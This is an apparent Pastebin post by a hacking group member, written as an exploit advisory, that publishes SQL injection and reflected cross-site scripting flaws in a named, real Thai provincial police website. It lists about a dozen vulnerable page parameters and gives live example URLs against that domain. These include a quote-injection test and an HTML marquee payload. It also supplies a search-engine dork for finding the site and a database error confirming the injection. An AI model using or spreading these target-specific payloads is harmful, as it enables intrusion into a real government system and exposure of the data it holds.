Advertisement
KingSkrupellos

Thailand Majesty PhraCharoen Provincial Police P1 XSS SQL

May 3rd, 2019
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.00 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Thailand Majesty PhraCharoen Provincial Police Region P1 XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 04/05/2019
  7. # Vendor Homepage : p1.go.th
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : ทรงพระเจริญ | ตำรวจภูธรภาคที่ 1
  12. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  13. Special Elements used in an SQL Command ('SQL Injection') ]
  14. CWE-79: Improper Neutralization of Input During
  15. Web Page Generation ('Cross-site Scripting')
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ###################################################################
  21.  
  22. # Impact :
  23. ***********
  24. Thailand Majesty PhraCharoen Provincial Police Region P1 is prone to an
  25. SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data
  26. before using it in an SQL query. Exploiting this issue could allow an attacker to
  27. compromise the application, access or modify data, or exploit latent vulnerabilities
  28. in the underlying database. A remote attacker can send a specially crafted request
  29. to the vulnerable application and execute arbitrary SQL commands in application`s
  30. database. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  31. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  32.  
  33. Reflected XSS (or Non-Persistent) :
  34. ***************************************
  35. The server reads data directly from the HTTP
  36. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  37. attacker causes a victim to supply dangerous content to a vulnerable web application,
  38. which is then reflected back to the victim and executed by the web browser. The most common
  39. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  40. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  41. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  42. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  43. the content is executed by the victim's browser.
  44.  
  45. ###################################################################
  46.  
  47. # SQL Injection Exploit :
  48. **********************
  49. /multimedia-view.php?id=[SQL Injection]
  50.  
  51. /content-view.php?t=people&id=[SQL Injection]
  52.  
  53. /content-view.php?t=activity&id=[SQL Injection]
  54.  
  55. /content-view.php?t=commanderload&id=[SQL Injection]
  56.  
  57. /content-view.php?t=information&id=[SQL Injection]
  58.  
  59. /content-view.php?t=unitload&id=[SQL Injection]
  60.  
  61. /activity-view.php?id=[SQL Injection]
  62.  
  63. /album-view.php?id=[SQL Injection]
  64.  
  65. /under.php?id=[SQL Injection]
  66.  
  67. /infographic-view.php?id=[SQL Injection]
  68.  
  69. /infographic-view.php?t=infoGraphic&id=[SQL Injection]
  70.  
  71. /content-view.php?t=news&id=[SQL Injection]
  72.  
  73. ###################################################################
  74.  
  75. # Example Vulnerable Sites :
  76. *************************
  77. [+] p1.go.th/multimedia-view.php?id=20%27
  78.  
  79. [+] p1.go.th/multimedia-view.php?id=1%27%3Cmarquee%3E%3Cfont%20
  80. color=lime%20size=32%3EXSS-Vulnerability-Discovered-By-
  81. KingSkrupellos%3C/font%3E%3C/marquee%3E
  82.  
  83. ###################################################################
  84.  
  85. # Example SQL Database Error :
  86. ****************************
  87. SQLSTATE[42000]: Syntax error or access violation: 1064
  88. You have an error in your SQL syntax; check the manual that corresponds
  89. to your MySQL server version for the right syntax to use near ''' at line 1
  90.  
  91. ###################################################################
  92.  
  93. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  94.  
  95. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement